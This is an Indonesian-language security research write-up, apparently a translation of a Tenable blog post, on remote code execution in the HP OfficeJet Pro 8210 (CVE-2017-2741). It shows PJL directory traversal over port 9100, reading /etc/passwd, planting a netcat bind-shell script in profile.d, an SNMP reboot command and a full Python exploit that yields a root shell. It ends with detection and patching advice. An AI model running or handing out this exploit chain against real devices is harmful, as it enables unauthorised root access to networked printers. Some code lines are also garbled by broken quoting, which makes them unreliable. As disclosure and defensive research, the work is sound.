Terbaru

Meretas Printer Dari Buletin Keamanan hingga Eksekusi Kode Jarak Jauh


PRINTERS. Mereka ada dimana-mana. Dalam bisnis besar. Dalam usaha kecil. Di rumah kita. Di sekolah kita. Ke mana pun Anda pergi, itu dia. Tapi di mana mereka berada dalam model ancaman Anda? Kapan terakhir kali Anda memperbarui firmware? Tahukah anda apakah ada eksploitasi publik untuk printer anda?
Kerentanan keamanan potensial telah diidentifikasi dengan printer HP tertentu. Kerentanan ini berpotensi dieksploitasi untuk mengeksekusi kode yang sewenang-wenang.
Itu bukan ringkasan yang sangat berguna karena kebanyakan pelanggan akan berhenti membaca "potensi." Lebih berguna lagi adalah deskripsi CVE yang ditugaskan (2017-2741). Pada saat penulisan, lebih dari dua bulan setelah buletin keamanan HP, CVE tidak memiliki deskripsi apapun karena tetap berada dalam status "RESERVED".
Pernah penasaran, para insinyur reverse Tenable tergelitik oleh kerentanan keamanan "potensial" ini yang diberi skor CVSSv2 sebesar 9,8. Selalu bersedia untuk memanjakan rasa ingin tahu kami, kami membeli beberapa printer yang tercantum dalam advisory (HP OfficeJet Pro 8210).
HP printers
Membeli perangkat keras baru dan berharap firmware yang rentan tetap terpasang selalu berjudi. Siapa yang tahu berapa banyak pekerjaan yang dibutuhkan untuk membatalkan tambalan itu? Untungnya, kedua printer tersebut tiba dengan firmware yang rentan terinstal dan update dinonaktifkan.
Firmware details in the web interface
Salah satu dari banyak hal yang membuat frustrasi tentang buletin keamanan Hewlett Packard adalah memberitahukan pembaca untuk mendownload pembaruan firmware dari www.hp.com/support. Semoga berhasil dengan itu; Firmware OfficeJet Pro 8210 tidak tersedia untuk diunduh. Namun, dengan menggunakan update Install secara otomatis dan Periksa sekarang fitur pada antarmuka web printer, kami dapat memperbarui printer ke firmware yang telah di-patch.
Firmware patched
Pada titik ini, kami memiliki printer yang ditambal dan belum dipatenkan. Waktunya mulai menggali eksekusi kode jarak jauh.

Kami mulai dengan pemindaian Nmap untuk menemukan port printer yang terbuka:
albinolobster@ubuntu:~$ nmap -A 192.168.1.159

Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp open ssl/https HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp open printer
631/tcp open ssl/ipp HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp open jetdirect?

Tidak ada yang mengejutkan di sini. Server HTTP mendengarkan pada port 80, 443, dan 8080. Line Printer Daemon (LPD) pada port 515. Internet Printing Protocol (IPP) pada port 631. Nmap flags port 9100 sebagai "jetdirect?" Yang umumnya berarti "pencetakan mentah" atau port 9100 percetakan

HP mengacu pada port 9100 printing sebagai "HP proprietary", namun diketahui secara luas bahwa printer ini mendukung pencetakan mentah maupun PCL, PostScript, dan PJL. Berikut adalah contoh sederhana untuk menggunakan PJL di atas port 9100 untuk mendapatkan informasi perangkat printer:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

Jens Müller baru-baru ini menulis sebuah makalah berjudul Exploiting Network Printers: Sebuah Survei Kelemahan Keamanan pada Printer Laser dan Perangkat Multi-Fungsi yang merinci kelemahan umum pada printer. Salah satu kelemahan umum yang penulis sajikan adalah path traversal via PJL. Sebagai contoh, perhatikan perintah PJL berikut untuk mencantumkan direktori pada printer:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR

Anda dapat melihat nama direktori yang terdaftar adalah 0: / dan printer tersebut merespons dua subdirektori: tmp / dan csr_misc /. Apa yang terjadi jika Anda mencoba untuk memindahkan beberapa direktori menggunakan jalur 0: /../../?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR

Seperti yang bisa Anda lihat, printer merespons dengan daftar direktori baru. Sepertinya kita mungkin memiliki vektor serangan disini. Di bawah ini, Anda dapat melihat bahwa menjalankan perintah PJL yang sama pada printer yang ditambal menghasilkan FILEERROR. Kami tahu HP telah memperbaikinya antara dua versi firmware kami. Ada kemungkinan bagus ini bisa mengarah pada eksekusi kode remote buletin keamanan.
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0
Namun, traversal ini sepertinya tidak segera berguna. Struktur file tidak terlihat seperti filesystem root yang saya kenal. Mungkin ada vektor traversal direktori lain?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0

@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020

Di sini, saya mencoba ../../ tapi itu menghasilkan sebuah FILEERROR. Namun, ../../binlists file yang akan Anda temukan di direktori Linux / bin tradisional. Tampaknya Anda bisa masuk ke filesystem Linux.

Tapi bagaimana Anda bisa mengubah traversals direktori ini menjadi eksekusi kode jarak jauh? Pertama, Anda perlu tahu beberapa perintah PJL lainnya: FSQUERY, FSUPLOAD, dan FSDOWNLOAD. Ketiga perintah ini akan memberi Anda akses r / w ke filesystem printer. Sebagai contoh, saya dapat memanfaatkan FSQUERY dan FSUPLOAD dengan direktori traversal untuk mengambil kembali isi / etc / passwd:
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

Siapa yang peduli membaca file? Saya ingin menuliskannya. FSDOWNLOADmeminta mengirim karakter ESC jadi alih-alih menggunakan Netcat, saya telah menulis skrip Python yang mencoba menulis ke ../../tmp/writing_test:
import socket
import sys

test = ('test')

if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"\r\n'
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
Sayangnya, script ini gagal untuk menulis file. Tampaknya proses menafsirkan PJL tidak memiliki akses tulis pada filesystem Linux:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0

Ini adalah pukulan besar bagi usaha kita untuk mendapatkan eksekusi kode jarak jauh. Tanpa akses ke filesystem Linux, kemungkinan mengganti biner atau mendapatkan skrip Bash yang dieksekusi sangat berkurang. Pada titik ini, satu-satunya harapan kami adalah bahwa filesystem 0: / dapat ditulis dan file yang ditulis di sana dapat dieksekusi dengan cara tertentu.

Aku akan meluangkan Anda rincian membosankan menyisir melalui 0: / filesystem, tapi aku akhirnya menyadari bahwa ada beberapa tumpang tindih dengan filesystem Linux. Secara khusus, 0: /../../ rw / var / etc / profile.d / menangkap mata saya karena, secara tradisional, direktori profile.d berisi skrip yang dijalankan saat startup. Selanjutnya, direktori tampaknya berisi data yang sama:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR

Untuk menguji apakah saya bisa menulis ke profil.d melalui 0: / filesystem, saya memperbarui skrip Python FSDOWNLOAD untuk menulis file ke 0: /../../ rw / var / etc / profile.d / writing_test :
import socket
import sys

test = ('test')

if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
Seperti yang bisa Anda lihat di bawah, naskah Python sekarang berhasil! File baru ini juga terlihat melalui traversal filesystem Linux:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4
nda sekarang memiliki akses tulis ke lokasi yang kemungkinan berisi skrip startup. Anda sangat dekat dengan eksekusi kode jarak jauh. Sekarang Anda hanya perlu menulis naskah dan mencari cara untuk reboot printer sehingga skrip akan dijalankan.

Pilihan yang jelas untuk skrip startup kita adalah salah satu yang akan memberi kita akses shell. Karena printer telah menginstal netcat, saya memilih untuk membuat skrip yang membuat shell bind pada port 1270:
if [ ! -p /tmp/pwned ]; then
mkfifo /tmp/pwned
cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi
Dengan itu diputuskan, fokus kita bergeser ke jarak jauh me-reboot printer. Salah satu metode akan menggunakan fungsi Power Cycle di antarmuka web (di bawah menu Tools). Cara lain adalah dengan menggunakan printer MIB SNMP ke power cycle perangkat.
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4


Dalam script berikut, saya telah menggabungkan penulisan skrip startup ke direktori profile.d dan reboot SNMP:

##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##

import socket
import sys
from easysnmp import snmp_set

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'
'\tmkfifo /tmp/pwned\n'
'\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n
'fi\n')

if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)

response = ''
while True:
data = sock1.recv(1)
if '\n' == data: break
response += data

print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
Anda bisa menjalankan skrip dan, sekitar tiga puluh detik kemudian, punya shell root via port 1270.
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root

Solusi yang dapat dilakukan

Untungnya bagi semua orang, kerentanan kecil ini cukup mudah dideteksi begitu Anda memahami vektor serangan. Tenable merilis plugin Nessus 100461 pada akhir Mei untuk mendeteksi kerentanan ini. Juga, perubahan dilakukan agar Nessus tidak lagi menyebabkan port 9100 dicetak saat penemuan layanan. Mudah-mudahan, itu akan mendorong lebih banyak pelanggan untuk mengaktifkan pemindaian printer.Untuk meringkas, jangan mengabaikan printer dalam model ancaman Anda. Printer adalah komputer dan harus diperlakukan seperti itu. Pindai itu Perbaruinya Pantau itu. Siapa yang tahu apa yang mungkin mengintai di dalam?